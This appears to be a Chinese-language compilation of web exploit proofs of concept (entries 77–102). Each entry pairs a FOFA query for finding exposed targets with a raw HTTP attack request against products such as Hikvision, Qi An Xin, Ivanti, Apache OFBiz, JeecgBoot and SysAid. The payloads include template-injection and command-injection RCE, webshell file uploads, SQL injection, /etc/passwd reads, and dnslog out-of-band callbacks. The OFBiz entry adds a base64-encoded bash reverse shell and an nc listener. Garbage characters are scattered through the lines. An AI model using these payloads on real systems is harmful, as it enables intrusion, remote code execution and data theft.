( D+ j4 ~% R; LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 m8 v* n  z( n$ lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- ~4 X) |* u% r/ jCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

  p' j* v) d7 }+ a4 g9 Y{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
% l" x" T/ i& j. N/ O6 Q8 x  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

+ S1 y% [2 R! O; W1 p2 ]/ w
, I/ |* w4 [9 l# z, \GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
8 z  X- p; I$ a$ U. u1 `: q! L
) h6 W! y+ w5 }" @" x  D/ p/ n7 O  \1 w
9 j- ~% _5 b0 z6 h( M1 E0 `
6 ?" M$ _- O+ M/ z. P1 B; m77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
1 w! F3 ?6 s1 j7 q( l' Q& iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
4 \: V) B$ @, Y2 L' C# wAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ R& {3 _8 u9 YContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
1 H1 {" _; a/ ^( |+ vContent-Disposition: form-data; name="folder"
; W9 {  {% ^# W
7 A( {2 P0 \- c2 D/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
& a5 _; ~1 p, a) }" iContent-Type: application/octet-stream
! M! i$ Z+ ^3 F' r
hello1234567
' H2 v- F; d4 ?3 ~+ h------------398jnjVTTlDVXHlE7yYnfwBoix
5 j- ]  B: \- {Content-Disposition: form-data; name="Upload"

! X, x% R- p7 U1 G* C3 Z2 tSubmit Query
* n. V% E& w! A------------398jnjVTTlDVXHlE7yYnfwBoix--

4 g7 Q+ h" I! z- W7 n. R
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
6 O% e( c% m7 [8 i: MFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
# ^( T# u7 T& A' y) YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
) c0 u% o: K: {1 KContent-Type: image/png
8 _  ^, U3 ^' L2 d2 O1 v; x& M
6 s% e# T5 m' g* ?4 gYsOxWxSvj1KyZow1PTsh98fdu6l
" g2 F2 ~. x& i4 R2 {------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

7 B$ J9 |# M1 q7 ], g. P' |/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


6 C, X- K" d, [  D) o( T, j$ C79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
6 J. C! k' I# y2 o2 TGET /goform/webRead/open/?path=|id HTTP/1.1
* t- G. }5 K' z; {. B1 Y/ ZHost:IP
7 E& H, s0 L3 e3 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. z1 L5 `; ~+ |% D4 W$ lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% t) j9 q/ X5 IAccept-Encoding: gzip, deflate
Connection: close
1 F. r& Y: r& W" V; o- x0 ~Upgrade-Insecure-Requests: 1
& O7 p6 g% e* U5 @
! z0 ?1 j# g& S1 b" O+ N1 P9 K/ S
; l$ F6 I: x! w- o! D( q* T80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
, o. b# g7 T3 E! @& _FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
0 ~. K. |0 F8 w$ Q( ~: S+ gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 `( E- Z; ]  H! Q( D  DAccept-Encoding: gzip, deflate
' i- y$ F3 c/ @3 K5 nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
0 q! k0 D6 e: T# SUpgrade-Insecure-Requests: 1

. i3 Z4 j  g1 c" [; `<% out.print("oessqeonylzaf");%>
$ {& M) e% o1 i" Q3 `4 g, y, W, G

' ]% F) l& X, T9 c. z! h3 |' iGET /xykqmfxpoas.jsp HTTP/1.1
: |( ]4 R$ [+ D, O  v8 kHost: x.x.x.x
" C* j$ e& \) |& U+ nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( T9 T& F) W  V, QConnection: close
" o8 ~2 j* m' C9 [2 OAccept-Encoding: gzip

- S( x( ?3 p  d$ Y/ b
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
& q' K, ~' ^  c9 w- z- VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
8 t& K  S3 ?; k+ L  @$ n: f

9 w2 ~! Z  h+ o  w& [) ^- M82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
; n& K8 B1 u) K* s0 DFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
9 f5 p( H- b8 s+ jHost: BaseURL
% z/ J. I  x* q3 _. j5 o8 J- TUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
2 n, o& N2 Y) c) I' xConnection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
  h$ m" N- b2 ^+ |, E& ~( j4 C
. F1 M) M7 u1 D& X- |! L& M! D4 cz1=1&z2="|id;"&z3=bhost

9 @( Z3 {5 Z! P
5 G4 O- V+ j( j3 e2 S83. JeecgBoot testConnection 远程命令执行
2 t* y# j' \* Z2 s- K. i2 r# _FOFA：title=="JeecgBoot 企业级低代码平台"

' |, C# \/ j7 ?; ^: L4 t
) a+ z( V0 G) a- k- |$ R0 TPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; Y( x0 |8 w2 g, M1 j0 \Connection: close
Content-Length: 8881
Accept-Encoding: gzip
. s; O- F/ T1 `- z4 Y+ S2 gCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
5 i( ]3 K( J0 U
* |' `) Q' @: w' ]$ TPAYLOAD
) j3 o5 }+ t* w* ^! C  p7 T
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"



POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
6 v! O) R( C$ }* ]) p6 a3 L. CAccept-Encoding: gzip
6 X# M" L. q7 U+ C8 i" V! k
) O4 T5 ]$ {2 u{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
8 |/ H: o% l1 E, J" |) Q( L9 m  "type": "0"
" d( d6 j( A/ _) K+ x% ?5 T8 ]7 x}
. h3 C6 Q2 g! Y4 [  S) k
- R: a( N9 Y2 j( r
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
% J8 B! K. Z' J4 Q. zEXP数据包如下，注入哥斯拉马
( |  b- S+ K7 B$ i3 W3 JPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
; D! u  f2 d  u7 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 K) a" P1 {8 L. l8 s- q% i! C  ~Content-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD

3 L' d; o# L! e, n4 ^1 j回显URL：http://x.x.x.x/userfiles/index.jsp

* S* c4 N. A; u; u0 j, T86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
5 z+ |9 z" }8 c( n, Q" XPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
( X: j3 a8 |9 `, Y( {# S0 LUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
5 G2 O3 O9 a' _9 O& N# g& i7 bConnection: close
" l3 l* O- y3 n6 I( ?Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
" M' {8 p$ R2 ]Content-Type: application/x-www-form-urlencoded
, g& q+ K- P7 O
host=%0acat${IFS}/etc/passwd%0a&command=ping


87. 安恒明御安全网关aaa_local_web_preview文件上传
7 c1 ], d7 X1 Z1 A. SFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 F1 _1 I0 g& b* v1 C$ i5 ~Connection: close
Content-Length: 198
7 Z. g* A! F6 t" vAccept-Encoding: gzip
6 G5 `; j* i, X" B2 d5 z& tContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

" R) x; ~0 w" i; ~" M& n--qqobiandqgawlxodfiisporjwravxtvd
( b  _  t& d* d4 rContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
/ i2 K2 M5 ^8 V1 m1 ^

, @% @" ?  W5 L; E/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
9 p4 B* G. k8 m5 YGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
: k. o! p6 R3 _Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 E: p: @* w  A' f+ [' k& p8 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
* P# u* c# {/ V# B6 x8 R7 _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


+ M7 b5 a5 C4 T8 y, Q5 p+ w* N9 l+ Z3 [/astdfkhl.php
# y  p0 M$ Y+ u! H' H6 w
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
/ v$ d, U" b6 J1 b: f' A4 \POST /sysform/003/editflow_manager.js%70 HTTP/1.1
, M9 @" ]1 W( w+ C& fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: x+ \# s, c5 J+ W, y  w& @Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
1 ~7 C8 Y7 N9 @  ]$ q, V

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
! N$ G. H% l) E0 M# `* AFOFA：icon_hash="-1830859634"
! v* ^/ d" o7 pPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
8 L; s% e- m' W+ J, |& wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
" I% S( b5 Z6 w4 c/ \5 JContent-Length: 51
+ n+ l( ]3 x0 c, wAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

; Y; ^7 a6 }) F4 [  {jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
3 i" K6 F, C# O( y3 d

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
5 D' |; h: T+ B2 b" `8 Y: eFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
+ s  \- Z$ b, V! Q  y  KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
  T2 V( j  J+ B# u# `/ r6 H: T0 R* dAccept-Encoding: gzip, deflate
Accept: */*
* W3 |5 H1 z6 D% @6 ?# h1 }" @Connection: keep-alive
2 V4 ?8 a6 V4 L' K9 H8 ?/ E
  ]8 _2 V5 V. J) T
* G2 ^/ J. y- D7 r
92. 海康威视运行管理中心session命令执行
# y: \- Y& C+ Q" }2 W! r3 N' X3 E4 Y! |Fastjson命令执行
/ x. J% q9 }: i1 ahunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
9 m* r3 r, P" V& t6 [POST /center/api/session HTTP/1.1
* ^, |/ d5 O1 bHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
! T! I) j* M6 c0 J) ZContent-Type: application/json;charset=UTF-8
2 w1 h5 V* p" x7 k4 c, }X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
* m# }. O) R( ?& j1 s3 @Content-Length: 5778
) K; t* }5 F$ S: c
PAYLOAD
! c2 u2 {3 h) j3 `

; i* \- L8 W) c( E93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
' \. x0 Y' y9 HPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

7 w! T3 v! {" a+ {9 Z7 A0 D8 Q7 A------WebKitFormBoundarykcbkgdfx
7 }4 r+ h8 S+ r% OContent-Disposition: form-data; name="MAX_FILE_SIZE"
: |, w  O. O0 s0 @
10000000
------WebKitFormBoundarykcbkgdfx
% }0 B% Z4 Y% g: tContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
- ]& C+ j# `# s4 eContent-Type: text/plain
+ h$ K! V& @1 L: x! r
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
& \0 ?' S, _9 o' Y; w9 @
, s0 y4 k9 i4 e* e5 aobj_app_upfile
- P7 u/ C* D1 e# i, d2 U------WebKitFormBoundarykcbkgdfx
+ ^4 C" N* j+ ]7 rContent-Disposition: form-data; name="__hash__"

# S' f+ {5 ~- _7 Z0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
2 e& t  G$ Z. C2 e2 f% G* |) f. H5 Q
- `0 K, C; x' F7 {3 T
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
( {0 e) ^6 b7 g" h: SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ H4 ]+ J& X/ C  P9 D
$ O3 y# }3 g7 r+ I  `2 y/ T  G' G
, ^" `% W/ V+ O+ w94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
5 |0 o9 Q: ~: Z4 \FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
0 i; \! R" B. Q, TPOST /?g=obj_area_import_save HTTP/1.1
3 K+ S  D/ X& X/ b6 X% _Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( B+ Z. q1 m; W; I! D
4 U* o1 r: @; ~, L) r------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
( m9 n# G0 L% ]4 c' L% p8 \" l
7 u. k8 {" F; u& V; L$ F/ t+ x1 Z10000000
------WebKitFormBoundarybqvzqvmt
; k, G) V: c  v7 J% q4 R: S+ eContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
. T- b  S2 v/ E4 ^Content-Type: text/plain

6 C: ?0 {% D+ k+ m4 w  V2 I" qpxplitttsrjnyoafavcajwkvhxindhmu
4 W! o  K' J# U8 u: b2 ?" V( R------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
6 n9 x9 d* t" {. [; U+ {( `0 }
obj_app_upfile
& D: q" J3 _3 v$ q* e0 g0 B& W------WebKitFormBoundarybqvzqvmt
$ h, o$ t3 u4 [+ }7 q9 ~0 i7 K) FContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
2 V: ?! l0 \6 v. ^
, I: h8 b) N( b

: L3 g. Z2 O. P: |0 \$ nGET /attachements/xlskxknxa.txt HTTP/1.1
+ Z  J: h8 m& r+ ]: `$ z" p# PHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& \: |. ?7 m8 |4 @/ I8 V

9 m+ n, @0 b: T; A  B' @0 J3 H
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
9 w0 k9 d, ?3 yCVE-2023-49070
FOFA：app="Apache_OFBiz"
4 a$ k8 k! D- M% IPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
' t) H1 H. r5 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  D) Z7 ?- W& [: OConnection: close
1 @' z; |5 h$ o6 c9 vContent-Length: 889
) b, J% q7 a. \: o) mContent-Type: application/xml
Accept-Encoding: gzip
3 i$ T5 _8 O' Y/ X4 n
$ z& G) x: g2 B4 e3 z<?xml version="1.0"?>
, q4 X+ S8 x) ?% F7 o3 _<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
6 L- E. z, K+ w: k1 O2 ]; a    <params>
      <param>
      <value>
/ g. w' `& M( y+ L0 l( `& f        <struct>
       <member>
" N3 o. y& a+ H  N- R! f* j          <name>test</name>
          <value>
8 a0 `) A* ~8 ]# K      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
. l* x% @5 p* S" E: r& k          </value>
        </member>
: K) D) i! k* ]. ~: }% K: r+ P7 a      </struct>
1 J* _' R& {7 q      </value>
' D' ?. m& l2 I) L, C    </param>
8 C9 P) `/ L. `* N9 w$ \* K9 s    </params>
7 ^3 N  \5 [% f/ w9 o7 ]</methodCall>


1 }' G1 [; r. u3 y% o用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

" \* e" ?2 N, s4 v7 |3 I
0 w! u' q) N( d将生成的payload替换到上面的POC
: H; s/ ?4 e9 vPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
5 c% q) ]8 G8 p& ]: J; TUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  ]: O, Y/ X3 J0 H' [5 v2 HConnection: close
  I3 w: X$ S7 @6 M" \Content-Length: 889
$ A- C& x5 A: \3 [( VContent-Type: application/xml
% X, G% ~$ {7 o; N! |+ |$ P, }Accept-Encoding: gzip
: ?+ f( G2 b5 i/ H+ i) m
2 _& n" _/ Q; U" ePAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
2 M8 B+ T9 y1 c7 L, t9 W8 c0 Z% \; x" T8 gFOFA：app="Apache_OFBiz"
* \  J. t3 Q" j' @POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
  ~! R" H$ j4 Z& a8 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
' ^) \/ F5 u( zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
( s/ o' g% r: r, N, f& T/ TContent-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

* i! Z% }& P0 K, ?
反弹shell
) F' I# S- t! v! V! [在kali上启动一个监听
nc -lvp 7777
! d; o; m& y* d# A# h% y# i
- i* m& X7 D( y2 f5 {6 e2 `. m5 y( tPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
+ |/ S( c2 Q9 v7 y: d7 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
, v& a. n* V3 z+ }9 k* s# gAccept: */*
4 Y! t1 P: T  ~% \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
9 E0 j! n0 ?9 M; c2 `9 r
5 d/ }" [2 V1 w- w# r, XgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

0 I/ n8 T5 U5 u( H* p97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
, n' o3 {4 {4 c0 n- Z9 W3 LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" J* o( _1 |1 P- Z  H! P. S2 m% sAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
* K; a: I7 n* ]! e( p5 C) aX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
' V1 H$ i" D! u9 r0 a
1 y; N6 Y1 p% ~5 }
98. SpiderFlow爬虫平台远程命令执行
) X3 `! ?- Q( ~6 `& n5 HCVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
0 U& K; f/ q0 a, N+ U# wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ R; I5 [% v' U7 xConnection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


5 `% X2 P8 ]6 y! I, S! T99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
, T1 e3 v) ~5 S+ H  |FOFA：app="Ncast-产品" && title=="高清智能录播系统"
+ b. [" k% e5 s2 e. ?* ^POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- s$ T# q4 r* |' M& A- z$ W8 c. UConnection: close
4 q; C: R: v6 _- d' A. y0 sContent-Length: 154
, ]8 e0 y0 v. JAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
) X9 h5 [% u) n! s
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


$ P/ l0 a( L# a9 r100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
+ t; x- d/ I4 K& LFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
0 b. @  h4 c  S% R$ c' J+ N; L$ C+ fHost: 192.168.40.130
# b5 J* l3 o0 W$ f9 e7 fUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
. V! q2 d) u/ K5 P: r  G! y0 A4 q3 HContent-Length: 201
- Y* |8 V" ^1 p( r7 U3 S0 lContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
! U  Z% x% E& zAccept-Encoding: gzip
1 e9 u" i" m! h! j$ P1 V* ~/ Z
------WebKitFormBoundarygcflwtei
/ d4 N; X- {4 X* x- a4 M/ F" dContent-Disposition: form-data; name="file";filename="IE4MGP.php"
) W  @. o' _$ U% Q- p6 Y7 ^Content-Type: application/x-php

+ L, j+ v9 m$ E2 J2 Q2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
% K  o# Z) T% T1 [* s3 qGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
$ h8 H4 R# |2 o4 m8 V; V3 xHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. M$ j# I  h  Y- r. ~# J0 ?Connection: close
Accept-Encoding: gzip
1 c, P4 b) N! u1 q# d! s

1 b# ]! a: ~. t102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
. m1 {8 U: W. e# |7 `6 {) vFOFA：body="welcome.cgi?p=logo"
, x% n4 l/ z3 I) g' vPOST /dana-ws/saml20.ws HTTP/1.1
: y  ?, p  x5 T/ wHost: x.x.x.x
